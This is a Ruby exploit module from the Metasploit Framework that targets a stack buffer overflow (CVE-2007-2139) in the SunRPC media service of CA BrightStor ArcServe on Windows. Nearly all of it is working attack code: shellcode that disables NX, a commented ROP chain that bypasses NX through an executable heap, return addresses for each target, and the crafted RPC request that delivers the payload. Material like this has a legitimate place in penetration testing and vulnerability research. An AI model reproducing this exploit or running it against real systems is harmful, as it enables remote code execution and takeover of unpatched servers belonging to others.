CA BrightStor ArcServe Media Service Stack Buffer Overflow



##

# $Id: mediasrv_sunrpc.rb 9583 2010-06-22 19:11:05Z todb $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = AverageRanking

    include Msf::Exploit::Remote::SunRPC

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'CA BrightStor ArcServe Media Service Stack Buffer Overflow',
            'Description'    => %q{
                    This exploit targets a stack buffer overflow in the MediaSrv RPC service of CA
                BrightStor Arcserve. By sending a specially crafted SUNRPC request, an attacker
                can overflow a stack buffer and execute arbitrary code.
            },
            'Author'         => [ 'toto' ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 9583 $',
            'References'     =>
                [
                    [ 'CVE', '2007-2139'],
                    [ 'OSVDB', '35326' ],
                    [ 'BID', '23635'],
                    [ 'URL', 'https://www.zerodayinitiative.com/advisories/ZDI-07-022.html'],
                ],
            'Privileged'     => true,
            'Platform'       => 'win',
            'Payload'        =>
                {
                    'Space'    => 0x300,
                    'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c_",
                    'Prepend' =>
                            # Disable NX on 2k3 to upload data on the stack
                            # (service crashes if the stack is switched to the heap)
                            "\x64\x8b\x0d\x30\x00\x00\x00"              + # mov ecx, dword ptr fs:[0x30] ; PEB
                            "\x83\xb9\xa4\x00\x00\x00\x05"              + # cmp dword ptr [ecx+0xa4], 5  ; MajorVersion == 5
                            "\x75\x30"                                  + # jnz after
                            "\x83\xb9\xa8\x00\x00\x00\x02"              + # cmp dword ptr [ecx+0xa8], 2  ; MinorVersion == 2
                            "\x75\x27"                                  + # jnz after
                            "\x81\xb9\xac\x00\x00\x00\xce\x0e\x00\x00"  + # cmp dword ptr [ecx+0xac], 0xece  ; BuildVersion (> SP0)
                            "\x76\x1b"                                  + # jbe after
                            "\x8d\x89\xa8\x00\x00\x00"                  + # lea ecx, [ecx+0xa8]
                            "\xba\x00\x03\xfe\x7f"                      + # mov edx, 0x7ffe0300
                            "\xb8\xed\x00\x00\x00"                      + # mov eax, 0xed
                            "\x6a\x04"                                  + # push 4
                            "\x51"                                      + # push ecx
                            "\x6a\x22"                                  + # push 22
                            "\x6a\xff"                                  + # push -1
                            "\x6a\xff"                                  + # push -1 (padding)
                            "\xff\x12",                                   # call dword ptr[edx]
                    'StackAdjustment' => -10000,

                },
            'Targets'        =>
                [
                    ['BrightStor Arcserve 9.0 (?) - 11.5 SP2 (Windows 2000)', { 'Ret' => 0x1002b715 , 'Off' => 0x304} ],
                    ['BrightStor Arcserve 9.0 (?) - 11.5 SP2 (Windows 2003)', { 'Ret' => 0x1002b715 , 'Off' => 0x300} ],
                    ['BrightStor Arcserve 11.1 - 11.5 SP2 (Windows All - NX Support)', { 'Ret' => 0x41414141 } ],
                ],
            'DisclosureDate' => 'Apr 25 2007',
            'DefaultTarget' => 0
        ))
    end

    def exploit
        sunrpc_create('tcp', 0x6097e, 1)

        if target.name =~ /NX/
            # summary:
            #
            # 1) get the payload address
            # 2) copy the payload into a fixed buffer (data section)
            # 3) allocate an executable heap buffer (to bypass NX)
            # 4) copy back the payload into the heap
            # 5) jmp to the payload in the heap
            #
            # step 1: jmp arround the atoi pointers
            #
            # add esp, 20h
            # retn
            #
            # step 2: get a pointer to the stack in ecx
            #
            # xor eax, eax
            # mov ecx, dword ptr fs:[0]
            # cmp dword ptr [ecx+4], offset __unwind_handler
            # jnz end
            # [...]
            # end:
            # retn
            #
            # step 3: mov the stack pointer in eax
            #
            # mov eax, ecx
            # add esp, 20h
            # retn
            #
            # step 4: set fffff824h in esi
            #
            # pop esi
            # retn
            #
            # step 5: add esi to eax (eax points to the payload in the stack)
            #
            # add eax, esi
            # pop esi
            # retn
            #
            # step 6: set edi to a buffer we can write (6d515301h)
            #
            # pop edi
            # retn
            #
            # step 7: copy the payload to the buffer
            #
            # push eax
            # push     edi
            # call _strcpy_0
            # pop ecx
            # pop ecx
            # retn
            #
            # step 8: set ecx to ffffffh
            #
            # pop ecx
            # retn
            #
            # step 9: mov ecx to eax (ffffffff -> MEM_EXECUTABLE)
            #
            # mov eax, ecx
            # add esp, 20h
            # retn
            #
            # step 10: create an executable heap
            #
            # push 0
            # cmp [esp+4+arg_0], eax
            # push 1000h
            # setz al
            # push eax
            # call ds:HeapCreate    ; create a new heap (executable for NX)
            # test eax, eax
            # mov hHeap, eax
            # jz short loc_6d5071b5
            # call ___sbh_heap_init
            # test eax, eax
            # jnz short loc_6d5071b8
            # push hHeap
            # call ds:HeapDestroy
            # loc_6d5071b5:
            # xor eax, eax
            # retn
            # loc_6d5071b8:
            # push 1
            # pop eax
            # retn
            #
            # step 11: Allocate a new heap buffer (size 01060101h)
            #
            # push hHeap
            # call ds:HeapAlloc
            # pop edi
            # pop esi
            # retn
            #
            # step 12: set esi to the buffer containing the payload  (6d515301h)
            #
            # pop esi
            # retn
            #
            # step 13: copy the payload to the heap (executable)
            #
            # push esi
            # push eax
            # call _strcpy_0
            # pop ecx
            # pop ecx
            # pop esi
            # retn
            #
            # step 14: go to the heap
            #
            # call eax
            #
            # step 15:
            # if 2k3 the prepend data disables NX to upload and execute
            # data on the stack
            #
            # step 16: w00t!

            data = Rex::Text.rand_text_alphanumeric(0x600)

            # ret 1
            data[ 0x100, 4 ] = [ 0x6d5010e4 ].pack('V')

            # used to store the result of atoi
            data[ 0x108, 4 ] = [ 0x6d51652b ].pack('V')
            data[ 0x10C, 4 ] = [ 0x6d51652b ].pack('V')
            data[ 0x110, 4 ] = [ 0x6d51652b ].pack('V')
            data[ 0x114, 4 ] = [ 0x6d51652b ].pack('V')
            data[ 0x118, 4 ] = [ 0x6d51652b ].pack('V')
            data[ 0x11C, 4 ] = [ 0x6d51652b ].pack('V')

            # ret 2
            data[ 0x124, 4 ] = [ 0x6d50b27a ].pack('V')

            # ret 3
            data[ 0x128, 4 ] = [ 0x6d5010e2 ].pack('V')

            # ret 4
            data[ 0x14C, 4 ] = [ 0x6d50aa6d ].pack('V')
            data[ 0x150, 4 ] = [ 0xfffff824 ].pack('V')

            # ret 5
            data[ 0x154, 4 ] = [ 0x6d50aa6b ].pack('V')

            # ret 6
            data[ 0x15C, 4 ] = [ 0x6d5057a0 ].pack('V')
            data[ 0x160, 4 ] = [ 0x6d515301 ].pack('V')

            # ret 7
            data[ 0x164, 4 ] = [ 0x6d50b938 ].pack('V')

            # ret 8
            data[ 0x178, 4 ] = [ 0x6d502df0 ].pack('V')
            data[ 0x17C, 4 ] = [ 0xffffffff ].pack('V')

            # ret 9
            data[ 0x180, 4 ] = [ 0x6d5010e2 ].pack('V')

            # ret 10
            data[ 0x1a4, 4 ] = [ 0x6d507182 ].pack('V')

            # ret 11
            data[ 0x1a8, 4 ] = [ 0x6d505c2c ].pack('V')
            data[ 0x1ac, 4 ] = [ 0xffffffff ].pack('V')
            data[ 0x1b0, 4 ] = [ 0x01060101 ].pack('V')

            # ret 12
            data[ 0x1bc, 4 ] = [ 0x6d50aa6d ].pack('V')
            data[ 0x1c0, 4 ] = [ 0x6d515301 ].pack('V')

            # ret 13
            data[ 0x1c4, 4 ] = [ 0x6d50f648 ].pack('V')

            # ret 14
            data[ 0x1cc, 4 ] = [ 0x6d506867 ].pack('V')

            data[ 0x260 , payload.encoded.length ] = payload.encoded

        else
            data = Rex::Text.rand_text_alphanumeric(0xA64)
            off = target['Off']

            data[ off, payload.encoded.length] = payload.encoded
            data[ off + 0x73c, 2 ] = "\xeb\x06"
            data[ off + 0x740, 4 ] = [ target.ret ].pack('V')
            data[ off + 0x744, 5 ] = "\xe9\xb7\xf8\xff\xff"
        end

        data = "_" + data + "_1_1_1_1_1_1_1_1_1"

        request = XDR.encode(1, 1, 2, 2, 2, data, 3, 3)

        print_status("Trying target #{target.name}...")

        begin
            ret = sunrpc_call(0xf5, request)
            select(nil,nil,nil,20)
        rescue
        end

        sunrpc_destroy

        handler
        disconnect

    end
end